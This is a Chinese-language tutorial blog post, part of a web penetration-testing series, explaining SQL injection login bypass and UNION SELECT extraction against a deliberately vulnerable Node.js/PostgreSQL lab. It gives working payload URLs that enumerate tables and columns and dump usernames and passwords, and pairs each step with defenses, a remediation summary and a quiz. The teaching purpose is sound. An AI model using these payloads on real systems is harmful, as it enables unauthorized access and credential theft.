iT邦幫忙

2024 iThome 鐵人賽

DAY 10
0
Security

資安這條路:系統化學習網站安全與網站滲透測試系列 第 10

資安這條路:Day 10 從文章功能了解 Union Select SQL injection

  • 分享至 

  • xImage
  •  

昨天最後介紹了三大點攻擊的方向,今天更詳細的拆解內容。

基本認證繞過

為什麼可以這麼做

  • SQL 查詢通常由固定的結構和使用者輸入組成。
  • 如果輸入未經適當處理就直接拼接到查詢中,攻擊者可以改變查詢的邏輯。
  • 因此不該把使用者的輸入無任何驗證放入 SQL 查詢。

為什麼攻擊者需要這樣做

  • 攻擊者希望繞過身份驗證,未經授權訪問系統。
  • 許多攻擊者希望遇到登入功能就會想要突破。
    • 無需知道有效的帳號和密碼就能登入系統。
    • 可能取得高權限帳號的存取權限。

攻擊步驟與情境學習

  1. 常見情境
    • 登入功能、查詢功能可能就會有資料庫查詢
  2. 常見測試方法
    • 輸入 ' 單引號,確認是否出現 500 狀態碼
    • 輸入 ' or '1'='1' -- - 確認是否可以繞過

修復方法

  1. 使用參數化查詢代替字符串拼接。例如,在 PHP 中:
  2. 對所有使用者輸入進行嚴格的驗證和轉義。
  3. 使用儲存過程來處理資料庫操作。

聯合查詢攻擊

為什麼可以這麼做

  • UNION 運算允許合併多個 SELECT 語句的結果。
  • 如果應用程式顯示查詢結果,攻擊者可以檢視未經授權的資料。

為什麼攻擊者需要這樣做

  • 攻擊者想要取得更多資料庫中的資訊,而不僅僅是繞過認證。
  • 尋找敏感資料,如其他使用者的帳號、個人資訊等。
  • 探測資料庫結構,為進一步攻擊做準備。

基礎知識

  • 示範來源

  • SELECT * FROM Customers;

    • SELECT 選擇
    • * 所有欄位
    • FORM 來自
    • Customers 資料表的名稱
    • 如下圖所示 Customers 資料表
      • 共有七個欄位
        1. CustomerID
        2. CustomerName
        3. ContactName
        4. Address
        5. City
        6. PostalCode
        7. Country
      • 並且有 91 筆資料
      • image
  • SELECT * FROM Suppliers;

    • SELECT 選擇
    • * 所有欄位
    • FORM 來自
    • Suppliers 資料表的名稱
    • 如下圖所示 Suppliers 資料表
      • 共有八個欄位
        1. SupplierID
        2. SupplierName
        3. ContactName
        4. Address
        5. City
        6. PostalCode
        7. Country
        8. Phone
      • 並且有 29 筆資料
    • image
  • 錯誤示範1

    • UNION 運算允許合併多個 SELECT 語句的結果
    • 以下是錯誤的
    • Q: 思考為什麼
    SELECT * FROM Customers
    UNION
    SELECT * FROM Suppliers;
    
    • image

    • A: 因為 UNION 需要 "欄位數量" 相同

  • 錯誤示範2

    • Q: 思考為什麼已經數量相同且可以印出資料但為什麼錯誤示範?
    SELECT CustomerID FROM Customers
    UNION
    SELECT Address FROM Suppliers;
    
    • image
    • A: 因為欄位的資料類型 不同
    • 儘管資料庫可以查詢,但在後端程式碼印出容易造成資料錯誤,比如印出數字的欄位,出現字串可能會有程式碼錯誤的問題。
  • 針對 UNION SELECT

    • 查詢數量要相同
    • 查詢資料類型建議相同

建立新 lab

1. 資料庫更新 (init.sql)

-- 建立文章資料表(如果不存在)
CREATE TABLE IF NOT EXISTS articles (
    id SERIAL PRIMARY KEY,
    title VARCHAR(255) NOT NULL,
    content TEXT,
    author_id INTEGER REFERENCES users(id),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- 建立 INDEX 以提高查詢效能
CREATE INDEX IF NOT EXISTS idx_articles_author ON articles(author_id);

-- 插入測試資料
INSERT INTO articles (title, content, author_id)
VALUES 
('第一篇文章', '這是第一篇文章的內容。', 1),
('關於 SQL 注入的防範', 'SQL 注入是一種常見的網路攻擊方式,本文將討論如何有效防範。', 1)
ON CONFLICT DO NOTHING;

-- 建立更新 updated_at 的觸發器
CREATE OR REPLACE FUNCTION update_modified_column()
RETURNS TRIGGER AS $$
BEGIN
    NEW.updated_at = now();
    RETURN NEW;
END;
$$ language 'plpgsql';

CREATE TRIGGER update_article_modtime
    BEFORE UPDATE ON articles
    FOR EACH ROW
    EXECUTE FUNCTION update_modified_column();

說明:

  • 新增 articles 資料表,包含文章基本資訊
  • 建立索引以優化查詢效能
  • 插入兩筆測試文章資料
  • 建立觸發器,在文章更新時自動更新 updated_at 欄位

2. 文章控制器 (articleController.js)

const db = require('../db/postgres');

const articlesHandler = {
    // 取得所有文章
    async getAllArticles(req, res) {
        // ... 實作內容 ...
    },

    // 取得單一文章
    async getArticle(req, res) {
        // ... 實作內容 ...
    },

    // 新增文章
    async createArticle(req, res) {
        // ... 實作內容 ...
    },

    // 更新文章
    async updateArticle(req, res) {
        // ... 實作內容 ...
    },

    // 刪除文章
    async deleteArticle(req, res) {
        // ... 實作內容 ...
    }
};

module.exports = articlesHandler;

說明:

  • 實作五個主要功能:取得所有文章、取得單一文章、新增文章、更新文章、刪除文章
  • 使用非同步函數處理資料庫操作
  • getArticle 函數中,故意使用不安全的查詢方式,用於展示 SQL 注入風險
  • 其他函數使用參數化查詢來防止 SQL 注入

3. 文章路由 (articlesRouter.js)

const express = require('express');
const router = express.Router();
const articleController = require('../controllers/articleController');

router.get('/', articleController.getAllArticles);
router.get('/:id', articleController.getArticle);
router.post('/', articleController.createArticle);
router.put('/:id', articleController.updateArticle);
router.delete('/:id', articleController.deleteArticle);

module.exports = router;

說明:

  • 設定文章相關的 API 路由
  • 將請求對應到相應的控制器函數

4. 伺服器更新 (server.js)

const articlesRouter = require('./routes/articlesRouter');

// ... 其他程式碼 ...

app.use('/api/articles', articlesRouter);

說明:

  • 引入文章路由模組
  • 將文章路由掛載到 /api/articles 路徑下

攻擊步驟解析

步驟 1: 初步探測

URL: http://nodelab.feifei.tw/api/articles/'
目的: 透過插入單引號來測試應用程式對特殊字符的處理。
結果: 回傳了詳細的錯誤訊息,暴露了潛在的漏洞。

圖片證據: 初步探測結果

防禦建議:

  • 在正式環境中禁用詳細錯誤訊息。
  • 使用參數化查詢來防止 SQL 注入。

步驟 2: 利用錯誤訊息

觀察到的錯誤訊息提供了資料庫結構的線索。

圖片證據: 詳細錯誤訊息

防禦建議:

  • 使用通用錯誤訊息,不暴露系統細節。
  • 實施適當的錯誤處理和日誌記錄。

步驟 3: UNION SELECT 攻擊準備

理解: UNION SELECT 查詢要求兩個 SELECT 語句回傳相同數量的列。

步驟 4: 確定列數

URL: http://nodelab.feifei.tw/api/articles/0 union select null,null,null,null,null,null-- -
目的: 確定原始查詢回傳的列數。

圖片證據: 確定列數
結果: 有六個欄位

防禦建議:

  • 使用 ORM 或參數化查詢。
  • 實施輸入驗證和清理。

步驟 5: 取得表名

URL: http://nodelab.feifei.tw/api/articles/0 union select null,table_name,null,null,null,null FROM information_schema.tables-- -
目的: 從 information_schema 中取得資料庫表名。

圖片證據: 取得表名

步驟 6: 組合表名

URL: http://nodelab.feifei.tw/api/articles/0 union select null,string_agg(table_name,','),null,null,null,null FROM information_schema.tables-- -
目的: 使用 string_agg 函數組合所有表名。

圖片證據: 組合表名

步驟 7: 取得列名

URL: http://nodelab.feifei.tw/api/articles/0 union select null,string_agg(column_name,','),null,null,null,null FROM information_schema.columns WHERE table_name='users' -- -
目的: 取得 'users' 表的列名。

圖片證據: 取得列名
結果: "title": "id,created_at,username,email,password"

步驟 8: 取得使用者資料

URL: http://nodelab.feifei.tw/api/articles/0 union select null,string_agg(username,','),string_agg(password,','),null,null,null FROM users-- -
目的: 從 users 表中取得使用者名稱和密碼。

圖片證據: 取得使用者資料

防禦建議:

  • 使用參數化查詢或預處理語句。
  • 實施最小權限原則。
  • 加密敏感資料,特別是密碼。

綜合防禦策略

  1. 使用參數化查詢或預處理語句。
  2. 實施強有力的輸入驗證和清理。
  3. 使用最小權限原則設定資料庫使用者。
  4. 加密敏感資料,使用強大的雜湊演算法處理密碼。
  5. 在正式環境中使用不詳細的錯誤訊息息。
  6. 實施 Web 應用防火牆(WAF)。
  7. 定期進行安全審查和滲透測試。
  8. 保持所有軟體和相依性更新到最新版本。
  9. 使用 ORM 內建的 SQL 注入防護。
  10. 實施適當的錯誤處理和日誌記錄機制。

總結

本文深入探討了SQL注入攻擊的三種主要形式:基本認證繞過、聯合查詢攻擊和基於時間的注入。我們詳細分析了每種攻擊的原理、攻擊者的動機,以及具體的攻擊步驟。同時,我們也提供了相應的防禦策略和修復方法。

關鍵點包括:

  • SQL注入攻擊主要利用了不安全的輸入處理。
  • UNION SELECT攻擊需要注意查詢列數和資料類型的一致性。
  • 防禦措施包括使用參數化查詢、輸入驗證、最小權限原則等。
  • 正確的錯誤處理和日誌記錄對於防禦和檢測攻擊至關重要。

選擇題

  1. 在SQL注入攻擊中,為什麼使用 ' or '1'='1 能夠繞過認證?
    A) 它會刪除資料庫中的所有資料
    B) 它會建立一個新的管理員帳戶
    C) 它會使WHERE子句永遠為真
    D) 它會關閉資料庫連接

    答案:C
    解析:' or '1'='1 會使WHERE子句永遠為真,因為 '1'='1' 永遠成立,這樣就能繞過原本的認證邏輯。

  2. UNION SELECT攻擊中,下列哪項陳述是正確的?
    A) 兩個SELECT語句的列數可以不同
    B) 兩個SELECT語句的資料類型必須完全相同
    C) UNION SELECT只能用於合併兩個表的資料
    D) UNION SELECT可以用來檢索未經授權的資料

    答案:D
    解析:UNION SELECT攻擊可以用來檢索未經授權的資料。雖然列數必須相同,但資料類型不必完全相同(儘管建議相同以避免錯誤)。

  3. 以下哪種方法不能有效防止SQL注入攻擊?
    A) 使用參數化查詢
    B) 對使用者輸入進行轉義
    C) 使用儲存過程
    D) 在錯誤訊息中顯示詳細的SQL錯誤

    答案:D
    解析:顯示詳細的SQL錯誤訊息可能會洩露資料庫結構,幫助攻擊者進行更精確的攻擊。其他選項都是有效的防禦方法。

  4. 在進行SQL注入測試時,輸入單引號(')的目的是什麼?
    A) 結束目前的SQL字符串
    B) 開始一個新的SQL查詢
    C) 刪除資料庫中的資料
    D) 繞過密碼驗證

    答案:A
    解析:輸入單引號的目的是嘗試結束目前的SQL字符串,這可能導致語法錯誤或改變查詢的結構,從而暴露潛在的SQL注入漏洞。

  5. 使用ORM框架如何幫助預防SQL注入攻擊?
    A) ORM自動加密所有資料庫查詢
    B) ORM通常使用參數化查詢
    C) ORM完全阻止直接訪問資料庫
    D) ORM自動修復所有SQL注入漏洞

    答案:B
    解析:ORM框架通常使用參數化查詢,這是預防SQL注入的有效方法。然而,ORM並不會自動加密查詢或完全阻止直接訪問資料庫,也不能自動修復所有SQL注入漏洞。

實作清單

  1. 設定測試環境:
    • 使用 Docker 建立一個包含 Node.js 和 PostgreSQL 的開發環境。
    • 初始化資料庫,建立 users 和 articles 表。
  2. 實現基本的文章CRUD API:
    • 建立文章控制器(articleController.js)。
    • 設定文章路由(articlesRouter.js)。
    • 在server.js中整合文章路由。
  3. 實現不安全的查詢以示範SQL注入:
    • 在getArticle函數中使用字符串拼接而非參數化查詢。
  4. SQL注入測試:
    • 使用 ' 進行初步探測。
    • 使用 ' or '1'='1 嘗試繞過認證。
    • 使用UNION SELECT攻擊取得資料庫資訊。
  5. 實現安全措施:
    • 將不安全的查詢替換為參數化查詢。
    • 實現輸入驗證和清理。
    • 設定適當的錯誤處理,避免暴露敏感資訊。

上一篇
資安這條路:Day 9 從登入功能了解 SQL injection
下一篇
資安這條路:Day 11 從文章過濾惡意輸入了解 SQL injection 自動化工具 SQLmap
系列文
資安這條路:系統化學習網站安全與網站滲透測試12
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言